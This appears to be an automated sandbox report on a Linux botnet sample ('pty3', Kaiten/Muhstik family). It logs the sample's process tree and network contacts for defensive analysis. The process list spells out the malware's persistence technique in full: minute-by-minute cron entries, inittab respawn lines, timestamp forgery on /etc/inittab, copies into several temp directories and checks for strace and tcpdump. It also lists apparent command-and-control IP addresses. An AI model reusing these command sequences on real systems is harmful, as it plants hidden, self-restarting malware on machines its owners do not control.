Malware Analysis Report

2024-11-15 09:40

Sample ID 220425-3xh5xsdgfr
Target pty3
SHA256 7d3855bb09f2f6111d6c71e06e1e6b06dd47b1dade49af0235b220966c2f5be3
Tags
kaiten persistence suricata
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

7d3855bb09f2f6111d6c71e06e1e6b06dd47b1dade49af0235b220966c2f5be3

Threat Level: Known bad

The file pty3 was found to be: Known bad.

Malicious Activity Summary

kaiten persistence suricata

Identified Kaiten Bot

Kaiten family

suricata: ET MALWARE ELF/Muhstik Botnet CnC Activity

Writes file to system bin folder

Write file to user bin folder

Modifies rc script

Reads runtime system information

Writes file to tmp directory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2022-04-25 23:53

Signatures

Identified Kaiten Bot

Description Indicator Process Target
N/A N/A N/A N/A

Kaiten family

kaiten

Analysis: behavioral1

Detonation Overview

Submitted

2022-04-25 23:53

Reported

2022-04-25 23:58

Platform

ubuntu1804-amd64-en-20211208

Max time kernel

0s

Max time network

102s

Command Line

[./pty3]

Signatures

suricata: ET MALWARE ELF/Muhstik Botnet CnC Activity

suricata

Writes file to system bin folder

Description Indicator Process Target
/bin/crontab /bin/crontab N/A N/A
/bin/nvram /bin/nvram N/A N/A
/bin/uname /bin/uname N/A N/A

Modifies rc script

persistence
Description Indicator Process Target
/etc/rc.local /etc/rc.local ./pty3 N/A

Write file to user bin folder

Description Indicator Process Target
/usr/bin/crontab /usr/bin/crontab N/A N/A
/usr/sbin/nvram /usr/sbin/nvram N/A N/A

Reads runtime system information

Description Indicator Process Target
/proc/filesystems /proc/filesystems /bin/cp N/A
/proc/filesystems /proc/filesystems /bin/cp N/A
/proc/filesystems /proc/filesystems /bin/cp N/A
/proc/filesystems /proc/filesystems /bin/cp N/A

Writes file to tmp directory

Description Indicator Process Target
/tmp/.bawtz /tmp/.bawtz ./pty3 N/A
/tmp/pty3 /tmp/pty3 /bin/cp N/A
/tmp/pty3 /tmp/pty3 /bin/cp N/A
/tmp/pty3 /tmp/pty3 /bin/cp N/A
/tmp/pty3 /tmp/pty3 /bin/cp N/A

Processes

./pty3

[./pty3]

/bin/sh

[sh -c pidof -x strace > /dev/null]

/bin/pidof

[pidof -x strace]

/bin/sh

[sh -c pidof -x tcpdump > /dev/null]

/bin/pidof

[pidof -x tcpdump]

/bin/sh

[sh -c cat /etc/inittab | grep -v "/tmp/pty3" > /etc/inittab2]

/bin/sh

[sh -c crontab -l | grep /tmp/pty3 | grep -v "no cron" || (crontab -l ; echo "* * * * * /tmp/pty3 > /dev/null 2>&1 &") | crontab -]

/bin/sh

[sh -c crontab -r]

/bin/cat

[cat /etc/inittab]

/bin/grep

[grep -v /tmp/pty3]

/usr/bin/crontab

[crontab -r]

/usr/bin/crontab

[crontab -l]

/bin/grep

[grep /tmp/pty3]

/bin/sh

[sh -c echo "0:2345:respawn:/tmp/pty3" >> /etc/inittab2]

/bin/grep

[grep -v no cron]

/bin/sh

[sh -c cat /etc/inittab2 > /etc/inittab]

/bin/cat

[cat /etc/inittab2]

/usr/bin/crontab

[crontab -]

/bin/sh

[sh -c rm -rf /etc/inittab2]

/usr/bin/crontab

[crontab -l]

/bin/rm

[rm -rf /etc/inittab2]

/bin/sh

[sh -c touch -acmr /bin/ls /etc/inittab]

/usr/bin/touch

[touch -acmr /bin/ls /etc/inittab]

/bin/sh

[sh -c /bin/uname -n]

/bin/sh

[sh -c cp -f /tmp/pty3 /dev/shm/pty3]

/bin/cp

[cp -f /tmp/pty3 /dev/shm/pty3]

/bin/uname

[/bin/uname -n]

/bin/sh

[sh -c cat /etc/inittab | grep -v "/dev/shm/pty3" > /etc/inittab2]

/bin/sh

[sh -c crontab -l | grep /dev/shm/pty3 | grep -v "no cron" || (crontab -l ; echo "* * * * * /dev/shm/pty3 > /dev/null 2>&1 &") | crontab -]

/bin/cat

[cat /etc/inittab]

/usr/bin/crontab

[crontab -l]

/bin/grep

[grep -v /dev/shm/pty3]

/bin/grep

[grep /dev/shm/pty3]

/bin/sh

[sh -c echo "0:2345:respawn:/dev/shm/pty3" >> /etc/inittab2]

/bin/sh

[sh -c cat /etc/inittab2 > /etc/inittab]

/bin/grep

[grep -v no cron]

/usr/bin/crontab

[crontab -]

/bin/cat

[cat /etc/inittab2]

/usr/bin/crontab

[crontab -l]

/bin/sh

[sh -c rm -rf /etc/inittab2]

/bin/rm

[rm -rf /etc/inittab2]

/bin/sh

[sh -c touch -acmr /bin/ls /etc/inittab]

/usr/bin/touch

[touch -acmr /bin/ls /etc/inittab]

/bin/sh

[sh -c cp -f /tmp/pty3 /var/tmp/pty3]

/bin/cp

[cp -f /tmp/pty3 /var/tmp/pty3]

/bin/sh

[sh -c cat /etc/inittab | grep -v "/var/tmp/pty3" > /etc/inittab2]

/bin/sh

[sh -c crontab -l | grep /var/tmp/pty3 | grep -v "no cron" || (crontab -l ; echo "* * * * * /var/tmp/pty3 > /dev/null 2>&1 &") | crontab -]

/bin/cat

[cat /etc/inittab]

/bin/grep

[grep /var/tmp/pty3]

/bin/grep

[grep -v /var/tmp/pty3]

/usr/bin/crontab

[crontab -l]

/bin/grep

[grep -v no cron]

/bin/sh

[sh -c echo "0:2345:respawn:/var/tmp/pty3" >> /etc/inittab2]

/bin/sh

[sh -c cat /etc/inittab2 > /etc/inittab]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/cat

[cat /etc/inittab2]

/bin/sh

[sh -c rm -rf /etc/inittab2]

/bin/rm

[rm -rf /etc/inittab2]

/bin/sh

[sh -c touch -acmr /bin/ls /etc/inittab]

/usr/bin/touch

[touch -acmr /bin/ls /etc/inittab]

/bin/sh

[sh -c cp -f /tmp/pty3 /var/lock/pty3]

/bin/cp

[cp -f /tmp/pty3 /var/lock/pty3]

/bin/sh

[sh -c cat /etc/inittab | grep -v "/var/lock/pty3" > /etc/inittab2]

/bin/sh

[sh -c crontab -l | grep /var/lock/pty3 | grep -v "no cron" || (crontab -l ; echo "* * * * * /var/lock/pty3 > /dev/null 2>&1 &") | crontab -]

/bin/cat

[cat /etc/inittab]

/usr/bin/crontab

[crontab -l]

/bin/grep

[grep /var/lock/pty3]

/bin/grep

[grep -v /var/lock/pty3]

/bin/grep

[grep -v no cron]

/bin/sh

[sh -c echo "0:2345:respawn:/var/lock/pty3" >> /etc/inittab2]

/bin/sh

[sh -c cat /etc/inittab2 > /etc/inittab]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/cat

[cat /etc/inittab2]

/bin/sh

[sh -c rm -rf /etc/inittab2]

/bin/rm

[rm -rf /etc/inittab2]

/bin/sh

[sh -c touch -acmr /bin/ls /etc/inittab]

/usr/bin/touch

[touch -acmr /bin/ls /etc/inittab]

/bin/sh

[sh -c cp -f /tmp/pty3 /var/run/pty3]

/bin/cp

[cp -f /tmp/pty3 /var/run/pty3]

/bin/sh

[sh -c cat /etc/inittab | grep -v "/var/run/pty3" > /etc/inittab2]

/bin/sh

[sh -c crontab -l | grep /var/run/pty3 | grep -v "no cron" || (crontab -l ; echo "* * * * * /var/run/pty3 > /dev/null 2>&1 &") | crontab -]

/bin/grep

[grep -v /var/run/pty3]

/bin/cat

[cat /etc/inittab]

/usr/bin/crontab

[crontab -l]

/bin/sh

[sh -c echo "0:2345:respawn:/var/run/pty3" >> /etc/inittab2]

/bin/grep

[grep /var/run/pty3]

/bin/sh

[sh -c cat /etc/inittab2 > /etc/inittab]

/bin/grep

[grep -v no cron]

/bin/cat

[cat /etc/inittab2]

/usr/bin/crontab

[crontab -]

/bin/sh

[sh -c rm -rf /etc/inittab2]

/usr/bin/crontab

[crontab -l]

/bin/rm

[rm -rf /etc/inittab2]

/bin/sh

[sh -c touch -acmr /bin/ls /etc/inittab]

/usr/bin/touch

[touch -acmr /bin/ls /etc/inittab]

Network

Country Destination Domain Proto
SG 156.67.218.115:8080 tcp
SG 141.136.47.97:8080 tcp
SG 37.44.244.106:8080 tcp
GB 178.159.3.213:8080 tcp

Files

N/A